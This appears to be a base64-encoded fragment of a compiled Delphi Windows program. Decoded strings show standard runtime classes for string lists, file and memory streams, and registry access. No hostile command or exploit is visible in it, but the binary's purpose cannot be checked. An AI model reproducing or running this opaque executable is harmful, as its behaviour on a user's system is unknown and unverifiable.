QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA8MZAADDGQAAAyUAAIMhAAPwnQACEy0AA /CdAAIzLQADky0AALM9AAFzPQADE0EAATNFAAAzSQAAgx0AARMdAAGjHQAD8J0AA/CdAAJzK QACQy0AAzMxAAPwnQAB8zUAA0M1AAHzOQAAQ0EAAaNBAAPzQQAAOAAAAAAABAAAAFLpAAAgA AAAIVFN0cmluZ3OQJLtAAAcIVFN0cmluZ3OUukAA7LlAAAAAB0NsYXNzZXMAAIvASLtAAA4L VFN0cmluZ0l0ZW0IAAAAAQAAAAAQQAAAAAAAjUAAtLtAAAAAAAAAAAAAAAAAAEi8QAAAAAAA AAAAAAAAAAA4vEAAMAAAAEi6QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AAlNJAADDG QAAAyUAAIMhAAADVQAA01UAAONVAADzVQADky0AAgNZAANjWQACo10AATNFAAMTXQADw0kAA RMdAAGjHQACA00AAuNNAABzUQACQy0AAmNVAANDVQAB8zUAA0M1AAHzOQAAQ0EAAaNBAAPzQ QABI00AAZNNAAJjUQADs10AA/NdAAAtUU3RyaW5nTGlzdEi8QAAHC1RTdHJpbmdMaXN0tLtA ACC7QAAAAAdDbGFzc2VzAACNQAC4vEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMi8 QAAEAAAADBBAAKAsQACsLEAAsCxAALQsQACoLEAAcCtAAIQrQADMK0AAgNhAAPwnQAD8J0AA /CdAAAdUU3RyZWFtHL1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsvUAACAAAAGy8 QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AAzCtAACDZQAD02EAABNlAABTZQAANVEhh bmRsZVN0cmVhbYvAiL1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYvUAACAAAANC8 QACgLEAArCxAALAsQAC0LEAAqCxAAHArQACEK0AA+NlAACDZQAD02EAABNlAABTZQAALVEZp bGVTdHJlYW3wvUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC+QAAQAAAAbLxAAKAs QACsLEAAsCxAALQsQACoLEAAcCtAAIQrQADMK0AAgNhAACjaQAD8J0AAYNpAABNUQ3VzdG9t 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 